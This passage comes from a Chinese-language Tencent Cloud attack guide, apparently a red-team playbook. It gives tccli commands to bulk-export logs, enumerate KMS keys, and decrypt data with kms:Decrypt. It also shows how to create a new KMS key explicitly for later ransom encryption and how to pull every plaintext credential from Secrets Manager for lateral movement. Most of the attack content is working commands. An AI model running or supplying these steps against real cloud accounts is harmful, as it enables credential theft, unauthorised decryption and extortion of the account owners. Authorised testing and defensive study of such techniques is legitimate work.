- HTTP 请求头中的 Authorization Token
- 请求体中的密码明文(特别是登录接口)
- 错误堆栈中泄露的数据库连接串
- Debug 级别日志中输出的完整请求/响应
日志批量导出
# 创建日志导出任务
tccli cls CreateExport --TopicId TOPIC_ID \
--From $(date -d '1 day ago' +%s)000 \
--To $(date +%s)000 \
--Query "*" \
--Count 10000
# 查询导出任务状态
tccli cls DescribeExports --TopicId TOPIC_ID
# 下载导出文件(返回 COS 临时下载链接)---
KMS 密钥管理攻击
KMS(Key Management Service)是腾讯云的密钥管理服务。攻击 KMS 的目标是解密被加密的数据、获取密钥材料、或利用 KMS 权限进行数据勒索。
密钥枚举
利用条件: 拥有 kms:ListKeys 和 kms:DescribeKey 权限。
# 列出所有密钥
tccli kms ListKeys --output json
# 返回 KeyId 列表
# 获取密钥详情(密钥用途、状态、创建时间)
tccli kms DescribeKey --KeyId KEY_ID
# 关注:
# - KeyUsage: ENCRYPT_DECRYPT 或 ASYMMETRIC_DECRYPT_RSA_2048
# - KeyState: Enabled / Disabled / PendingDelete
# - Origin: TENCENT_KMS (腾讯云托管) 或 EXTERNAL (用户导入)
# - Type: 1(CMK 由 KMS 创建) / 2(CMK 由用户导入)关注点: Origin: EXTERNAL 的密钥表示用户导入了自己的密钥材料,这些密钥可能在其他地方也被使用。KeyUsage: ENCRYPT_DECRYPT 的密钥用于数据加密,是核心目标。
数据解密
利用条件: 拥有 kms:Decrypt 权限。
# 解密数据(需要知道密文和对应的 KeyId)
tccli kms Decrypt --CiphertextBlob "BASE64_CIPHERTEXT"
# 返回: Plaintext (Base64 编码的明文), KeyId (使用的密钥)
# 解密 Base64 明文
echo "RETURNED_PLAINTEXT" | base64 -d攻击场景: 腾讯云很多服务使用 KMS 加密敏感数据(TencentDB 透明加密、COS 服务端加密等)。如果拥有 kms:Decrypt 权限,可以解密这些数据,即使没有直接访问原始服务的权限。
密钥别名利用
# 列出密钥的别名(别名暗示用途)
tccli kms ListKeyDetail --output json
# 常见别名:
# alias/cos-encryption → COS 加密密钥
# alias/cdb-encryption → TencentDB 加密密钥
# alias/cbs-encryption → 云硬盘加密密钥
# 创建新密钥(用于后续加密勒索)
tccli kms CreateKey --Alias "alias/backup-encryption" \
--Description "backup encryption key" \
--KeyUsage ENCRYPT_DECRYPTSSM 凭据管理
腾讯云 SSM(Secrets Manager)用于存储和管理应用凭据,tccli 命名空间为 ssm:
# 列出所有凭据
tccli ssm ListSecrets --output json
# 返回 SecretName 列表
# 获取凭据值
tccli ssm GetSecretValue --SecretName SECRET_NAME --VersionId "latest"
# 直接返回明文凭据值
# 常见的凭据名称:
# db-password, api-key, ssh-private-key, cos-access-key
# 这些凭据可直接用于访问对应服务关键判断: SSM(Secrets Manager)是凭据的集中存储点。一旦拥有 ssm:GetSecretValue 权限,可以批量获取所有存储的凭据——数据库密码、API Key、SSH 密钥等。这通常是横向移动的最大收益点。